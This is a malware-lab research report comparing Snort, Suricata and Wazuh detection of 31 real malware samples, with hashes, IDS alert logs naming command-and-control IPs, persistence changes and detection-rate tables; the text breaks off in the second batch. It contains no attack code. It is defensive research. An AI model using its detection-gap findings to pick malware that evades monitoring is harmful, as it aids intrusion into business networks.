PROJ201 - Research Results

1. Preface

This document contains the results of a research project carried out during an internship. The aim of the research was to advise small and medium-sized enterprises if network detection (NIDS) sufficient is to detect malware infection in a enterprise network or that End-Point detection (HIDS) is necessary.

A malware lab has been set up for the research, the manual of this lab can be found here. The malware samples hat has been executed are carefully selected and represent a range of malware types, the complete overview of tested samples can be found here.

For the NIDS is selected:

- Snort
- Suricata

For the HIDS is selected:

- Wazuh, from batch 3 with implemented Sigma rules

Click here to view the user-friendly (HTML version) research document with all the results, the PDF-version is available here. The /data folder contains all raw exports of the alerts generated at each malware sample test (.csv files)

Author: Sander Wiebing

2. Summary

First we tested 11 malware samples 3 times, each time with different Wazuh configurations. The first batch it was Wazuh with default options an no extra added detection features. The second batch we added several Sysmon rules from an existing GitHub Sysmon OSSEC repository, this did not result in better results due the many syntax errors.

So that is why we decided to convert the Sigma ruleset to the Wazuh syntax. We wrote a script to largely automate the process, sigWah: a Sigma to Wazuh / OSSEC converter.

Underneath the results of batch 1 (bare Wazuh) comparing to batch 3 (Wazuh with SigWah generated rules):

Category:	Total Executed	Wazuh 1.0 Detected	Wazuh 3.0 Detected
Backdoor	3	0	2
Spyware	3	0	1
Ransomware	3	0	2
Cryptominer	1	0	1
Adware	1	0	0
Rootkit	1	0	0
Total:	12	0	6

After Wazuh Detection rate had clearly improved, the other malware samples were tested to. The final results, comparing the NIDS (Snort and Suricata) with the HIDS (Wazuh with Sigma rules).

Table 1. Comparing the HIDS to the NIDS results

Category:	Total Executed	Both Detected	Only NIDS	Only HIDS	Not Detected
Backdoor	8	1	1	4	2
Spyware	6	2	2	0	2
Ransomware	5	1	0	3	1
Cryptominer	5	3	1	0	1
Adware	5	0	3	1	1
Rootkit	2	0	0	1	1
Total:	31	7	7	9	8

Table 2. Comparing the HIDS to the NIDS results in percentage

Category:	Both Detected	Only NIDS	Only HIDS	Not Detected
Backdoor	13%	13%	50%	25%
Spyware	33%	33%	0%	33%

Category:	Both Detected	Only NIDS	Only HIDS	Not Detected
Ransomware	20%	0%	60%	20%
Cryptominer	60%	20%	0%	20%
Adware	0%	60%	20%	20%
Rootkit	0%	0%	50%	50%
Total:	23%	23%	29%	26%

So what if an organization had implemented only a HIDS, only a NIDS or both?

Methods implemented:	Detection Rate
Only a HIDS	52%
Only a NIDS	45%
Both methods	74%

2.1. Further research

The malware samples are carefully selected and represent a range of malware types, still 31 malware samples are too few to draw conclusions. But the first results confirm that only a NIDS is not enough anymore to detect the most kind of malware.

It would be interesting to research in a next project not only malware samples but also intruders behaviour.

Table of Contents

3. Short Overview of the Malware Samples

Go to 'Malware_Samples_Overview' to see the total overview of the malware samples, includes sources, first submission date, VirusTotal results and more additional information. This table does also contain all results of the different batches, a `1` means detected, a `0` not.

Table 3. Malware overview (Short version)

ID	Category	Sample_Name	Sample_Type	Sample_MD5
1	Cryptominer	Generic.Application.CoinMiner	Win32 EXE	c22908fe460312d76b50129aa3ef2cf2
2	Backdoor	Win32:Malware-gen	Win32 EXE	e6a132e279806cc95684dc2bd67a0da0
3	Backdoor	Trojan-Banker.Agent	Win32 EXE	aa52c9a86073b75748ec6c98eca17dab
4	Backdoor	Trojan.DCRAT	Win32 EXE	1e2611836860d60a2a6b4c560ef74650
5	Backdoor	Trojan.Qbot	VBS	1c347009d6fce779bca8385395f26f94
6	Backdoor	Trojan.Agent.Zenpak	Win32 EXE	fbe6d341c1b69975be74616d01c6d273
7	Backdoor	Shadowhammer	application/x-rar	c09e41b3eb42eb79853de5bd1f5a5830
8	Backdoor	Backdoor.AsyncRAT	Win32 EXE	9f16a651f918972eee7be4f19d40bb91
9	Backdoor	Backdoor.Bladabindi	Win32 EXE	c2c057d9645af7f64e9d11672840828e
10	Spyware	TrojanSpy.Win32	Win32 EXE	19b11aa448409adc15c93e1fdd3c6774
11	Spyware	Trojan.Spyware	Win32 EXE	40c0304b144736668ca2a0217d296c37
12	Spyware	HTML.SpyAgent	html	3b926d275ef56bb063d1e37042f211a3
13	Spyware	Keylogger.HawkEye	Win32 EXE	8d897a409a231c4bdb21ac3bcf9118b1
14	Spyware	Spyware.PasswordStealer	Win32 EXE	69ad26a3aae3e2950e5a93ccc0cd1859
15	Spyware	Trojan.GenKryptik	Win32 EXE	9530e5c9e8591d5025e11a20f604520b
16	Ransomware	Ransom.Cryakl	Win32 EXE	23a8bfb5bdbff2f294506019cf2f425f

ID	Category	Sample_Name	Sample_Type	Sample_MD5
17	Ransomware	Ramsom.Balaclav	Win32 EXE	7ed4882c2a0d24c401cbce7536ddf792
18	Ransomware	Ransom.Ryuk	Win32 EXE	3f5da05d62a70eb1212db39d5d6cf45e
19	Ransomware	Trojan.DOCX	DOCX	1a26c9b6ba40e4e3c3dce12de266ae10
20	Spyware	Trojan.Lucifer	Win32 EXE	66a3124fe4ed45fae20e2bd4ee33c626
21	Adware	Adware.Linkvertise	Win32 EXE	25fcd5a2cc5590630ab8d971e82b70cb
22	Rootkit	Rootkit.Bandios	Win32 EXE	4b042bfd9c11ab6a3fb78fa5c34f55d0
23	Ransomware	Ransom.GandCrab	Win32 EXE	d543a6c58e8e92d0b2f33abb270a4c3d
24	Cryptominer	Miner.XMRig	Win32 EXE	5616a3471565d34d779b5b3d0520bb70
25	Cryptominer	Miner.lemon_duck	ps1	28b80843b13fab0986479b54310c8053
26	Cryptominer	Trojan.Glupteba.Qwertyminer	Win32 EXE	d668e0990354d0ae209ec520cb80e052
27	Cryptominer	Miner.Tofsee	Win32 EXE	488bfb786944d1b236ac6254eb97dd69
28	Rootkit	Rootkit.Lamberts	Win32 EXE	a00918f782ba83aa405614430c65aab6
29	Adware	Adware.Mindspark	Win32 EXE	aeb471c20095e7d8557478a518d0fc8c
30	Adware	Adware.Sogou	Win32 EXE	775307b867b19872f49aaa9fcc7c6800
31	Adware	Adware.FusionCore	Win32 EXE	d4ce88978ea01afe4ec930e59f9abf61
32	Adware	Adware.Unruy	Win32 EXE	3a4c09aba1b399a43a65a27aee9c90e0

4. First batch

4.1. Null test

It may be that some alerts are always generated and have no relation to the executed malware. That is why we will run a test without executing Malware.

4.1.1. Results

Wazuh

Table 4. MW_1 Wazuh Null test

Highest alert level	7
Malware specific alert	No
Malware detected	No

Before reboot:

```
Rule.level: 3; Service startup type was changed
Rule.level: 3; Windows Logon Success
Rule.level: 5; WSearch was unavailable to handle a notification event
Rule.level: 5; SessionEnv was unavailable to handle a notification event
```

After reboot:

- A lot of `Checksum Changed 'HKEY_LOCAL_MACHINE\*` (Rule.level: 7)
- A lot of `File added to the system File 'HKEY_LOCAL_MACHINE\` (Rule.level: 7)
- 3 times `Windows Application error event: SearchIndexer` (Rule.level: 9)

Snort & Suricata

Table 5. MW_1 NIDS Null test

	Snort	**Suricata**
Highest alert level	3	3

Snort Alert:

```
04/04-14:00:27.770558  [**] [1:2027390:2] ET USER_AGENTS Microsoft Device Metadata
Retrieval Client User-Agent [**] [Classification: Unknown Traffic] [Priority: 3] {TCP}
172.16.2.2:49838 -> 40.127.243.65:80
```

```
04/04-14:00:26.209885  [**] [1:2025275:3] ET INFO Windows OS Submitting USB Metadata
to Microsoft [**] [Classification: Misc activity] [Priority: 3] {TCP} 172.16.2.2:49838
-> 40.127.243.65:80
```

Suricata Alert:

```
04/04/2020-14:03:08.238246  [**] [1:2028362:2] ET JA3 Hash - Possible Malware -
Banking Phish [**] [Classification: Unknown Traffic] [Priority: 3] {TCP}
172.16.2.2:49678 -> 13.107.136.254:443
```

```
04/04/2020-14:03:22.989188  [**] [1:2028371:2] ET JA3 Hash - Possible Malware - Fake
Firefox Font Update [**] [Classification: Unknown Traffic] [Priority: 3] {TCP}
172.16.2.2:49689 -> 192.229.221.185:443
```

```
04/04/2020-14:00:22.989188  [**] [1:2027390:3] ET USER_AGENTS Microsoft Device
Metadata Retrieval Client User-Agent [**] [Classification: Unknown Traffic] [Priority:
3] {TCP} 172.16.2.2:49723 -> 13.88.139.208:80
```

Both Suricata and Snort generated some alerts while there is no malware executed. Following rules will be commented to prevent these false positives:

- Snort
  - Rule_ID: 2027390
  - Rule_ID: 2025275
- Suricata
  - Rule_ID: 2028362
  - Rule_ID: 2028371
  - Rule_ID: 2027390

4.2. Malware samples tested

4.2.1. ID_1 Cryptominer (Generic.Application.CoinMiner)

Table 6. MW_1 properties

ID	1
Name	Generic.Application.CoinMiner
Firstsubmission	2018-08-28
Type	Win32 EXE
SHA256	46f79c451e652fc4ce7ad5a6f9eb737642077c128e514c889458220ed6985913
MD5	c22908fe460312d76b50129aa3ef2cf2
Virustotal	71/72
Category	Cryptominer
Source	DAS MALWERK

Results

Wazuh

Table 7. MW_1 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

No alerts were sent after the sample was started. After the system reboot there where several register Keys changed and added alerts, nothing direct related to the malware sample. But there was a alert that a program was added to the Startup registry.

Wazuh Alert:

```
File 'HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
Old md5sum was: 'ecce24469482c4904c645e0fb745dba7'
New md5sum is : '822cb403c72a645a692b783c441badfe'
Old sha1sum was: '1a534ac1d3f9226197ce9491f4c923cd1df1c3f8'
New sha1sum is : 'bf360e08c45c4932bb574c7e442b62cc38e9bd46'
```

Snort & Suricata

Table 8. MW_1 NIDS results

	Snort	Suricata
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

30 seconds after the execution of the malware sample a alert was send with Priority 1 indicating a Cryptocurrency Miner Check-in. Both Snort and Suricata sent 10 alerts in 3 minutes, after the reboot there were no new alerts.

Snort Alert:

```
04/04-12:23:54.332570  [**] [1:2024792:4] ET POLICY Cryptocurrency Miner Checkin [**]
[Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:49936 -> 23.217.99.136:80
```

Suricata Alert:

```
04/04/2020-12:23:54.332570  [**] [1:2024792:4] ET POLICY Cryptocurrency Miner Checkin
[**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP}
172.16.2.2:49936 -> 23.217.99.136:80
```

4.2.2. ID_2 Backdoor (Win32:Malware-gen)

Table 9. MW_2 properties

ID	2
Name	Win32:Malware-gen
Firstsubmission	2020-03-26
Type	Win32 EXE
SHA256	ba07e07a2c279246901b613a26ed95dc37bce9e0aa1ba17d5e812a8e84bda164
MD5	e6a132e279806cc95684dc2bd67a0da0
Virustotal	35/73
Category	Backdoor
Source	VirusBay

Results

NOTE	Malware opens 'Event Viewer' after execution

Wazuh

Table 10. MW_2 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

No alert relating to malware

Snort & Suricata

Table 11. MW_2 NIDS results

	Snort	**Suricata**
Highest alert level	None	3
Malware specific alert	No	Yes
Malware detected	No	Semi

Suricata Alert:

```
04/04/2020-14:47:57.258514  [**] [1:2022918:2] ET INFO DYNAMIC_DNS Query to *.duckdns.
Domain [**] [Classification: Misc activity] [Priority: 3] {UDP} 172.16.2.2:63783 ->
172.16.2.1:53
```

4.2.3. ID_3 Backdoor (Trojan-Banker.Agent)

Table 12. MW_3 properties

ID	3
Name	Trojan-Banker.Agent
Firstsubmission	2019-12-03
Type	Win32 EXE
SHA256	09ab5a3c9583ed5cf63fc2e4641c7774edfd84127af69faacde4628881cbe157
MD5	aa52c9a86073b75748ec6c98eca17dab
Virustotal	37/68
Category	Backdoor
Source	VirusBay

app.any.run

Results

Wazuh

Table 13. MW_3 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

Snort & Suricata

Table 14. MW_3 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	Yes	Yes
Malware detected	Yes	Yes

Snort Alert:

```
04/04-15:15:52.336603  [**] [1:2404348:5676] ET CNC Feodo Tracker Reported CnC Server
TCP group 25 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50278 -> 96.20.84.254:7080
```

```
04/04-15:17:22.852731  [**] [1:2404320:5676] ET CNC Feodo Tracker Reported CnC Server
TCP group 11 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50341 -> 189.173.113.67:443
```

```
04/04-15:17:47.716250  [**] [1:2404312:5676] ET CNC Feodo Tracker Reported CnC Server
TCP group 7 [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:50356 -> 181.135.153.203:44
```

Suricata Alert:

```
04/04/2020-15:15:52.336603  [**] [1:2404324:5677] ET CNC Feodo Tracker Reported CnC
Server group 25 [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50278 -> 96.20.84.254:7080
```

```
    04/04/2020-15:17:22.852731  [**] [1:2404310:5677] ET CNC Feodo Tracker Reported
CnC Server group 11 [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50341 -> 189.173.113.67:443
```

```
04/04/2020-15:17:47.716250  [**] [1:2404306:5677] ET CNC Feodo Tracker Reported CnC
Server group 7 [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:50356 -> 181.135.153.203:443
```

4.2.4. ID_14 Spyware (Spyware.PasswordStealer)

Table 15. MW_14 properties

ID	14
Name	Spyware.PasswordStealer
Firstsubmission	2020-03-10
Type	Win32 EXE
SHA256	f2f275ca7e7d46c5ddd0e59fa845f59ab527cc5284f16c64104d67599ab933c7
MD5	69ad26a3aae3e2950e5a93ccc0cd1859
Virustotal	53/72
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 16. MW_14 Wazuh results

Highest alert level	9
Malware specific alert	No
Malware detected	No

Snort & Suricata

Table 17. MW_14 NIDS results

	Snort	**Suricata**
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

Snort Alert:

```

```

Suricata Alert:

4.2.5. ID_15 Spyware (Trojan.GenKryptik)

Table 18. MW_15 properties

ID	15
Name	Trojan.GenKryptik
Firstsubmission	2020-02-06
Type	Win32 EXE
SHA256	b64774a74e66515fbb11fed9bbba117b391f872d0b7b847acec67a4227de99a0
MD5	9530e5c9e8591d5025e11a20f604520b
Virustotal	55/73
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 19. MW_15 Wazuh results

Highest alert level	9
Malware specific alert	No
Malware detected	No

No alerts with direct relation with the malware

Snort & Suricata

Table 20. MW_15 NIDS results

	Snort	**Suricata**
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

No alerts

Snort Alert:

Suricata Alert:

4.2.6. ID_16 Ransomware (Ransom.Cryakl)

Table 21. MW_16 properties

ID	16
Name	Ransom.Cryakl
Firstsubmission	2020-03-02
Type	Win32 EXE
SHA256	0fa979b1f894b44984d8ada55962e73dc48bd01359475e079aab4325503dded4
MD5	23a8bfb5bdbff2f294506019cf2f425f
Virustotal	55/73
Category	Ransomware
Source	VirusBay
Test started	18:48 4/4/2020

NOTE After 4 mins all documents & programs were encrypted

Results

Wazuh

Table 22. MW_16 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

WARNING After 4 mins all program files were encrypted, Wazuh was not working anymore

Startup key was changed:

```
File 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed
```

```
File 'HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
```

Snort & Suricata

Table 23. MW_16 NIDS results

	Snort	**Suricata**
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

No alert

Snort Alert:

```
```

Suricata Alert:

```
```

4.2.7. ID_17 Ransomware (Ramsom.Balaclav)

Table 24. MW_17 properties

ID	17
Name	Ramsom.Balaclav
Firstsubmission	2020-03-01
Type	Win32 EXE
SHA256	5de4af86a4410fb6a4c7d54ba4586d35b6abbf2da183fed30ec71547a0a9f319
MD5	7ed4882c2a0d24c401cbce7536ddf792
Virustotal	27/72
Category	Ransomware
Source	VirusBay
Test started	19:02 4/4/2020

NOTE	After 5 mins all documents were encrypted

Results

Wazuh

Table 25. MW_17 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

NOTE Wazuh was still running after the encryption, only documents were encrypted

Snort & Suricata

Table 26. MW_17 NIDS results

	Snort	**Suricata**
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

Snort Alert:

```
```

Suricata Alert:

```
```

4.2.8. ID_19 Ransomware (Trojan.DOCX)

Table 27. MW_ properties

ID	19
Name	Trojan.DOCX
Firstsubmission	2019-11-19
Type	DOCX
SHA256	6ccb6c2b2c074eea6e1bd9bb7ff2841fdf5466c646780a7644fbd907098f5b27
MD5	1a26c9b6ba40e4e3c3dce12de266ae10
Virustotal	35/62
Category	Ransomware
Source	VirusBay

Results

WARNING	No files were encrypted, seems like malware is not working anymore, this sample will not count in the overall results.

NOTE	A PowerShell window opened after enabling the macro's in the document

Wazuh

Table 28. MW_19 Wazuh results

Highest alert level	7
Malware specific alert	No
Malware detected	No

No related alerts

Snort & Suricata

Table 29. MW_19 NIDS results

	Snort	**Suricata**
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

No alerts

4.2.9. ID_20 Spyware (Trojan.Lucifer)

Table 30. MW_20 properties

ID	20
Name	Trojan.Lucifer
Firstsubmission	2020-03-20
Type	Win32 EXE
SHA256	630efa1e2dc642799b867363bb36d1953884480ac29942a1ab20243a8a9620ad
MD5	66a3124fe4ed45fae20e2bd4ee33c626
Virustotal	51/71
Category	Spyware
Source	ANY RUN

app.any.run

Results

NOTE	File created in C:/Users/John Williams/AppData/Local/Temp/info.txt with content:

```
-------------Created By Lucifer [ https://t.me/th3darkly ]-------------
```

Wazuh

Table 31. MW_20 Wazuh results

Highest alert level	9
Malware specific alert	No
Malware detected	No

Startup key was changed:

```
File '[x64] HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
```

Snort & Suricata

Table 32. MW_20 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	yes	yes
Malware detected	yes	yes

Both Snort and Suricata generated 2 alerts with priority 1. The alerts were generated after the execution of the malware and after the reboot.

Snort Alert:

```
04/06-10:11:50.715964  [**] [1:2022818:1] ET TROJAN Generic gate[.].php GET with
minimal headers [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:49854 -> 89.208.222.84:80
```

```
04/06-10:11:50.715964  [**] [1:2022127:3] ET TROJAN MegalodonHTTP Client Action [**]
[Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.16.2.2:49854
-> 89.208.222.84:80
```

Suricata Alert:

```
04/06/2020-10:11:51.070770  [**] [1:2022818:3] ET MALWARE Generic gate[.].php GET with
minimal headers [**] [Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 172.16.2.2:49854 -> 89.208.222.84:80
```

```
04/06/2020-10:11:51.070770  [**] [1:2022127:3] ET MALWARE MegalodonHTTP Client Action
[**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP}
172.16.2.2:49854 -> 89.208.222.84:80
```

4.2.10. ID_21 Adware (Adware.Linkvertise)

Table 33. MW_21 properties

ID	21
Name	Adware.Linkvertise
Firstsubmission	2020-04-06
Type	Win32 EXE
SHA256	422ea9cb2110591c932a58f32c8672aba1b08d3dd3e1d53c1edba0101b79174e
MD5	25fcd5a2cc5590630ab8d971e82b70cb
Virustotal	13/72
Category	Adware
Source	ANY RUN

app.any.run

Results

Wazuh

Table 34. MW_21 Wazuh results

Highest alert level	9
Malware specific alert	Yes
Malware detected	No

Several alerts were generated that a new Windows service was created (Level 5):

```
New Windows Service Created: C:\\Program Files\\ByteFence\\ByteFenceService.exe\
```

```
New Windows Service Created: "C:\\Program Files\\McAfee\\WebAdvisor\\ServiceHost.exe\"
```

Several Internet explorer extensions alerts (Level 5):

```
File added to the system: File 'HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\{48A61126-9A19-4C50-A214-FF08CB94995C}' was added.
```

```
File added to the system: File 'HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\Extensions\{48A61126-9A19-4C50-A214-FF08CB94995C}\Lang0804' was added
```

A lot of checksums changed, also the autorun (level 7):

```
Integrity checksum changed: File 'HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
```

Snort & Suricata

Table 35. MW_21 NIDS results

	Snort	**Suricata**
Highest alert level	1	1
Malware specific alert	yes	yes
Malware detected	yes	yes

Snort Alert:

```
04/06-13:16:42.021205  [**] [1:2831954:3] ETPRO USER_AGENTS Nullsoft Mozilla UA
(NSISDL) [**] [Classification: Not Suspicious Traffic] [Priority: 3] {TCP}
172.16.2.2:49928 -> 54.236.185.144:80
```

```
04/06-13:16:42.021205  [**] [1:2834935:2] ETPRO USER_AGENTS Observed Suspicious UA
(NSISDL/1.2 (Mozilla)) [**] [Classification: Potentially Bad Traffic] [Priority: 2]
{TCP} 172.16.2.2:49928 -> 54.236.185.144:80
```

```
04/06-13:28:03.264274  [**] [1:2013414:5] ET POLICY Executable served from Amazon S3
[**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 143.204.178.106:80
-> 172.16.2.2:49774
```

```
04/06-13:28:03.264275  [**] [1:2016538:2] ET INFO Executable Retrieved With Minimal
HTTP Headers - Potential Second Stage Download [**] [Classification: Potentially Bad
Traffic] [Priority: 2] {TCP} 143.204.178.106:80 -> 172.16.2.2:49774
```

```
04/06-13:28:03.264275  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 143.204.178.106:80 -> 172.16.2.2:49774
```

Suricata Alert:

```
04/06/2020-13:16:34.357952  [**] [1:2028810:2] ET JA3 Hash - [Abuse.ch] Possible
Tofsee [**] [Classification: Unknown Traffic] [Priority: 3] {TCP} 172.16.2.2:49920 ->
104.28.11.72:443
```

```
04/06/2020-13:16:42.119180  [**] [1:2831954:3] ETPRO USER_AGENTS Nullsoft Mozilla UA
(NSISDL) [**] [Classification: Not Suspicious Traffic] [Priority: 3] {TCP}
172.16.2.2:49928 -> 54.236.185.144:80
```

```
04/06/2020-13:16:42.119180  [**] [1:2834935:2] ETPRO USER_AGENTS Observed Suspicious
UA (NSISDL/1.2 (Mozilla)) [**] [Classification: Potentially Bad Traffic] [Priority: 2]
{TCP} 172.16.2.2:49928 -> 54.236.185.144:80
```

```
04/06/2020-13:28:03.279586  [**] [1:2016538:3] ET INFO Executable Retrieved With
Minimal HTTP Headers - Potential Second Stage Download [**] [Classification:
Potentially Bad Traffic] [Priority: 2] {TCP} 143.204.178.106:80 -> 172.16.2.2:49774
```

```
04/06/2020-13:28:03.279586  [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file
download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority:
1] {TCP} 143.204.178.106:80 -> 172.16.2.2:49774
```

```
04/06/2020-13:28:03.278729  [**] [1:2013414:10] ET POLICY Executable served from
Amazon S3 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP}
143.204.178.106:80 -> 172.16.2.2:49774
```

4.2.11. ID_22 Rootkit (Rootkit.Bandios)

Table 36. MW_21 properties

ID	22
Name	Rootkit.Bandios
Firstsubmission	2018-03-23
Type	Win32 EXE
SHA256	59c662a5207c6806046205348b22ee45da3f685fe022556716dbbd6643e61834

MD5	4b042bfd9c11ab6a3fb78fa5c34f55d0
Virustotal	52/71
Category	Rootkit
Source	ANY RUN

Results

NOTE	After the reboot is seemed like windows crashed every 20 seconds, after the 'crash' Windows went back to the login screen.

Wazuh

Table 37. MW_22 Wazuh results

Highest alert level	8
Malware specific alert	No
Malware detected	No

There were no alerts before the reboot, but after a lot.

Some remarkable checksum changes:

```
File 'c:\windows\system32\drivers\etc\hosts' checksum changed.
```

```
File 'c:\windows\sysnative\drivers\etc\hosts' checksum changed.
```

After the crash the following alerts were generated:

```
Clipboard User Service_163a67 terminated unexpectedly
```

```
Connected Devices Platform User Service_163a67 terminated unexpectedly
```

```
Sync Host_163a67 terminated unexpectedly
```

```
Windows Push Notifications User Service_163a67 terminated unexpectedly
```

Snort & Suricata

Table 38. MW_22 NIDS results

	Snort	Suricata
Highest alert level	None	None
Malware specific alert	No	No
Malware detected	No	No

There were no alerts

4.2.12. ID_9 Backdoor (Backdoor.Bladabindi)

Table 39. MW_9 properties

ID	9
Name	Backdoor.Bladabindi
Firstsubmission	2019-08-26
Type	Win32 EXE
SHA256	a2dc89b1aa5e3b6ff023b87a45756f50c667d94e44fff760ddea39a2c07a100d
MD5	c2c057d9645af7f64e9d11672840828e
Virustotal	66/72
Category	Backdoor
Source	Virus Share

Results

Wazuh

Table 40. MW_ Wazuh results

Highest alert level	7
Malware specific alert	Yes
Malware detected	No

The startup key was changed:

```
File 'HKEY_USERS\S-1-5-21-438079597-2123118846-2669748851-
1001\Software\Microsoft\Windows\CurrentVersion\Run' checksum changed.
```

Snort & Suricata

Table 41. MW_ NIDS results

	Snort	Suricata
Highest alert level	None	None

	Snort	Suricata
Malware specific alert	No	No
Malware detected	No	No

There were no alerts

4.3. Summary

Table 42. Summary First Batch

Category:	Total	Snort Detected	Suricata Detected	Wazuh Detected
Backdoor	3	1	1	0
Spyware	3	1	1	0
Ransomware	2	0	0	0
Cryptominer	1	1	1	0
Adware	1	1	1	0
Rootkit	1	0	0	0

5. Second Batch

The first batch the results of Wazuh were less than expected, we think it can perform much better. The second batch we will also send Sysmon logs from the victim to Wazuh. The Sysmon configuration and Wazuh rules user are available in this GitHub repository of Brian Laskowski.

We will test the same malware as in the First batch, that is why we wont do the NIDS part again.

5.1. Null Test Second batch

We have added the Sysmon logs so we have to do a null test again to see which alerts will be generated without the infection of malware.

5.1.1. Results

Wazuh

Table 43. MW_ Wazuh results

File	NULLTEST_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

NOTE Only the events relating to the Sysmon component will be discussed, this null test is an extension of the first NUll Test

Before the reboot there were no alerts from Sysmon, but after the reboot there were several Rule level 9 alerts. The rule discriptipn was:

```
ATT&CK T1058:Registry edit for new service
```

It triggered on the service `C:\\Windows\\system32\\services.exe`

2 alerts (out of 44):

```
"Registry value set:
RuleName: T1031,T1050
EventType: SetValue
UtcTime: 2020-04-24 10:28:03.899
ProcessGuid: {df9fc3d3-be95-5ea2-0000-001031a80000}
ProcessId: 584
Image: C:\Windows\system32\services.exe
TargetObject:
HKLM\System\CurrentControlSet\Services\GoogleChromeElevationService\Start
Details: DWORD (0x00000003)"
```

```
"Registry value set:
RuleName: T1031,T1050
EventType: SetValue
UtcTime: 2020-04-24 10:25:34.930
ProcessGuid: {df9fc3d3-be95-5ea2-0000-001031a80000}
ProcessId: 584
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\AarSvc_3ea3f\ImagePath
Details: C:\Windows\system32\svchost.exe -k AarSvcGroup -p"
```

5.2. Malware samples tested

5.2.1. ID_1 Cryptominer (Generic.Application.CoinMiner)

Table 44. MW_1 properties

ID	1
Name	Generic.Application.CoinMiner
Firstsubmission	2018-08-28
Type	Win32 EXE
SHA256	46f79c451e652fc4ce7ad5a6f9eb737642077c128e514c889458220ed6985913
MD5	c22908fe460312d76b50129aa3ef2cf2
Virustotal	71/72
Category	Cryptominer
Source	DAS MALWERK

Results

Wazuh

Table 45. MW_1 Wazuh results

File	MW_1_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

After the reboot the same alerts were generated as the NUll test, nothing relating to the malware.

5.2.2. ID_2 Backdoor (Win32:Malware-gen)

Table 46. MW_2 properties

ID	2
Name	Win32:Malware-gen
Firstsubmission	2020-03-26
Type	Win32 EXE
SHA256	ba07e07a2c279246901b613a26ed95dc37bce9e0aa1ba17d5e812a8e84bda164
MD5	e6a132e279806cc95684dc2bd67a0da0
Virustotal	35/73
Category	Backdoor
Source	VirusBay

Results

NOTE	Malware opens 'Event Viewer' after execution

Wazuh

Table 47. MW_2 Wazuh results

File	MW_2_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alert relating to the malware.

5.2.3. ID_3 Backdoor (Trojan-Banker.Agent)

Table 48. MW_3 properties

ID	3
Name	Trojan-Banker.Agent

Firstsubmission	2019-12-03
Type	Win32 EXE
SHA256	09ab5a3c9583ed5cf63fc2e4641c7774edfd84127af69faacde4628881cbe157
MD5	aa52c9a86073b75748ec6c98eca17dab
Virustotal	37/68
Category	Backdoor
Source	VirusBay

app.any.run

Results

Wazuh

Table 49. MW_3 Wazuh results

File	MW_3_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alert relating to the malware.

5.2.4. ID_14 Spyware (Spyware.PasswordStealer)

Table 50. MW_14 properties

ID	14
Name	Spyware.PasswordStealer
Firstsubmission	2020-03-10
Type	Win32 EXE
SHA256	f2f275ca7e7d46c5ddd0e59fa845f59ab527cc5284f16c64104d67599ab933c7
MD5	69ad26a3aae3e2950e5a93ccc0cd1859
Virustotal	53/72
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 51. MW_14 Wazuh results

File	MW_14_HIDS_2.csv
Highest alert level	9
Malware specific alert	No
Malware detected	No

No alert relating to the malware.

5.2.5. ID_15 Spyware (Trojan.GenKryptik)

Table 52. MW_15 properties

ID	15
Name	Trojan.GenKryptik
Firstsubmission	2020-02-06
Type	Win32 EXE
SHA256	b64774a74e66515fbb11fed9bbba117b391f872d0b7b847acec67a4227de99a0
MD5	9530e5c9e8591d5025e11a20f604520b
Virustotal	55/73
Category	Spyware
Source	Virus Share

app.any.run

Results

Wazuh

Table 53. MW_15 Wazuh results

